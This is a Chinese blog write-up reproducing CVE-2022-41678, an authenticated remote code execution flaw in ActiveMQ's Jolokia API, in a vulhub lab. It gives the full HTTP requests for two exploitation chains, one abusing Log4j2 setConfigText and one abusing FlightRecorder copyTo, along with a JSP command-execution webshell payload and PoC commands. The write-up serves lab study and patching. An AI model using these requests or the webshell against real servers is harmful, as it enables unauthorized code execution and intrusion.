ActiveMQ Jolokia 代码执行漏洞(CVE-2022-41678)复现

天猫来下凡2023-12-06 2:02

ActiveMQ Jolokia 后台代码执行漏洞(CVE-2022-41678)复现

1.漏洞描述

ActiveMQ是一个开源的消息代理和集成模式服务器，它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目，用于实现消息中间件，帮助不同的应用程序或系统之间进行通信。

ActiveMQ后台存在Jolokia 代码执行漏洞,在ActiveMQ中，经过身份验证的远程攻击者下可通过/api/jolokia/接口操作MBean，成功利用此漏洞可导致远程代码执行

影响版本

Apache ActiveMQ < 5.16.6

5.17.0< Apache ActiveMQ < 5.17.4

2.漏洞复现

https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678

复制代码 
docker compose up -d

服务启动后，访问http://your-ip:8161/后输入账号密码admin和admin，即可成功登录后台。

2.1 方法一

第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean，这是由Log4j2提供的一个MBean。

攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置，进而将日志文件写入任意目录中。

总共4个数据包，第一步访问，获取到MBean值，此处需要加入Origin值，Authorization值为admin:admin的base64加密值

复制代码 
/api/jolokia/list

如果GET访问失败可以POST访问

第2步访问,此处的mbean在第一步获取到,此处xml文件需要进行转义

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 1944
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}

xml为POC中的evil_template内容，此处出现"status":200，就可以证明漏洞存在

第3步进行注入

复制代码 
GET /api/jolokia/version HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla ||| <% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %> |||
Origin: http://192.168.2.133:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

第4步和第2步类似，xml文件内容替换成POC中original_template内容

到此处，shell.jsp已经写入，访问进行命令执行

http://192.168.2.131:8161/admin/shell.jsp?cmd=id

POC执行命令：

复制代码 
python poc.py -u admin -p admin http://192.168.2.133:8161

2.2 方法二

主要问题出在FlightRecorder这个Mbean，漏洞思路是通过setConfiguration修改配置，录制完成后，通过copyTo导出到web目录即可。

第1步一样访问，获取mbean值

复制代码 
/api/jolokia/list

第2步如下，进行新增记录newRecording，获取value值

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 113
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "newRecording", "arguments": []}

第3步一样，更改配置文件信息，xml为poc中的record_template值

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 33032
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "setConfiguration", "arguments": [2,"xml" ]

第4步，开始录制

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 116
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "startRecording", "arguments": [2]}

第5步，结束录制

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 115
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "stopRecording", "arguments": [2]}

最后导出到web目录下

复制代码 
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 138
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "copyTo", "arguments": [2, "webapps/admin/shelljfr.jsp"]}

Webshell被写入在/admin/shelljfr.jsp文件中：

对应POC命令

复制代码 
python poc.py -u admin -p admin --exploit jfr http://localhost:8161

3.漏洞修复

安全更新

官方已推出安全更新，受影响用户可升级到以下版本：

Apache ActiveMQ >= 5.17.4

Apache ActiveMQ >= 5.16.6

缓解措施

相关推荐
数字供应链安全产品选型16 小时前
国家级！悬镜安全入选两项“网络安全国家标准应用实践案例”
人工智能·安全·web安全
鹿鸣天涯20 小时前
商用密码应用安全性评估
网络·安全·web安全
埃泽漫笔1 天前
Kafka、ActiveMQ、RabbitMQ、RocketMQ 对比
kafka·rabbitmq·activemq
jieyu11191 天前
xxe靶场通关
安全·web安全
A Runner for leave1 天前
网络与通信安全课程复习汇总2——信息保密
web安全
缘友一世2 天前
漏洞扫描POC和web漏洞扫描工具
网络·安全·web安全
合作小小程序员小小店2 天前
Web渗透之身份认证与访问控制缺陷（越权（水平垂直），访问控制(没有验证)，脆弱验证（Cookie,JWT,Session等））
安全·web安全·网络安全·asp.net·网络攻击模型
huluang2 天前
网络安全等级保护要求（10+4 层面）记忆总结
服务器·网络·web安全
kali-Myon2 天前
NewStarCTF2025-Week2-Web
web安全·sqlite·php·web·ctf·文件上传·文件包含
旺仔Sec3 天前
新疆维吾尔自治区第一届“丝路杯”网络安全大赛暨2026年新疆职业院校技能大赛网络安全赛项竞赛样题
安全·web安全
热门推荐
01BongoCat - 跨平台键盘猫动画工具02GitHub 镜像站点03UV安装并设置国内源04两千字总结：Codex 国内如何安装和使用的教程，以及如何设置中文回答05Linux下V2Ray安装配置指南06KGG转MP3工具|非KGM文件|解密音频07GitLab 零基础入门指南：从安装到项目管理全流程08荣耀手机2025年10月发布的新品Magic8比起Magic7，在硬件、性能、价格等上有什么区别，有什么优势09windows找不到gpedit.msc（本地组策略编辑器）10在VSCode配置Java开发环境的保姆级教程（适配各类AI编程IDE）